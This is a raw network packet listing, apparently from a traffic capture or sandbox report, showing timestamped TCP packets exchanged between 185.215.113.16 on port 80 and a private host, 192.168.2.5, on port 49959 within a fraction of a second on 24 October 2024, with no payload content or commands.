Oct 24, 2024 19:30:09.369977951 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370002031 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370006084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370006084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370018005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370031118 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370032072 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370048046 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370054007 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370063066 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370069027 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370079994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370089054 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370109081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370310068 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370332956 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370351076 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370353937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370379925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370383024 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370398045 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370400906 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370413065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370423079 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370436907 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370454073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370456934 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370495081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370521069 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370537043 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370559931 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370560884 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370573997 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370574951 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370589972 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370593071 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370605946 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370609999 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370620966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370630980 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370649099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370668888 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370687008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370702028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370717049 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370727062 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370731115 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370747089 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370748043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370762110 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.370776892 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.370805025 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371016026 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371031046 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371047020 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371064901 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371088028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371090889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371103048 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371115923 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371140957 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371166945 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371189117 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371203899 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371205091 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371217966 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371221066 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371238947 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371253967 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371337891 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371377945 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371488094 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371503115 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371526957 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371527910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371541977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371545076 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371563911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371565104 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371582031 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371601105 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371879101 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371895075 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371917963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371926069 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371932983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371948957 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371953964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371967077 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.371984959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.371999979 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372150898 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372164965 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372181892 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372193098 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372206926 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372231007 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372262955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372277021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372292995 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372299910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372327089 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372337103 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372349024 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372354031 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372370005 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372375011 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372391939 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372411966 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372431993 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372446060 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372462034 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372471094 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372489929 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372782946 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372797966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372812986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372829914 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372834921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372849941 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372853041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372865915 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372878075 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372879982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372895956 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372917891 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.372961044 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372976065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372992039 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.372994900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373008013 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373012066 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373023987 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373038054 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373040915 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373040915 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373059034 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373060942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373075008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373081923 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373096943 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373097897 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373111963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373125076 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373126030 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373157978 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373163939 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373172045 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373187065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373188972 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373200893 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373202085 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373214960 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373218060 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373233080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373234987 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373253107 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373254061 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373266935 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373271942 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373290062 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373306036 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373394966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373409033 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373425007 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373439074 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373466969 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373490095 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373495102 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373502970 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373534918 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373565912 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373580933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373601913 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373625040 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373738050 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373759985 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373775959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373783112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373795986 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373796940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373811007 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373815060 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373826981 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373843908 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373917103 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373931885 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373949051 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.373955011 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373971939 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.373990059 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374053001 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374067068 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374083042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374089956 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374102116 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374126911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374144077 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374144077 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374156952 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374171972 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374233961 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374248981 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374270916 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374285936 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374557018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374572039 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374588013 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374594927 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374609947 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374620914 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374624014 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374639988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374644995 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374655962 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374671936 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374671936 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374686956 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374694109 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374721050 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374732018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374746084 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.374763012 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.374783993 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.418278933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.418368101 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.418392897 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.418406963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.418428898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.418447018 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.418546915 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.418571949 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.418586969 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.418596029 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.418608904 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.418632984 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.418642998 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.418679953 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419024944 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419040918 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419070005 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419078112 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419087887 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419094086 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419099092 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419104099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419120073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419121981 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419142008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419157028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419159889 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419172049 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419178963 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419188023 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419207096 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419226885 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419228077 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419241905 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419256926 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419261932 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419272900 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419276953 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419287920 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419302940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419317961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419317961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419326067 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419332981 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419343948 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419352055 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419359922 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419369936 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419395924 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419408083 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419429064 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419434071 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419444084 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419445992 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419457912 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419467926 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419476986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419487000 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419498920 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419538021 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419555902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419569969 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419584990 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419601917 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419603109 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419617891 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419631958 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419634104 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419647932 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419651985 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419661045 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419677019 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419677019 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419699907 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419723988 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419847012 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419859886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419873953 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419889927 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419893026 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419903994 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419907093 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419919968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419933081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419934988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419951916 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419961929 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419965982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419981003 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.419986010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.419997931 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420003891 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420012951 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420027971 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420027971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420053005 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420068026 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420109987 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420125008 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420142889 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420150042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420156956 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420167923 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420171022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420186996 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420187950 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.420205116 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420227051 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.420243025 CEST	80	49959	185.215.113.16	192.168.2.5
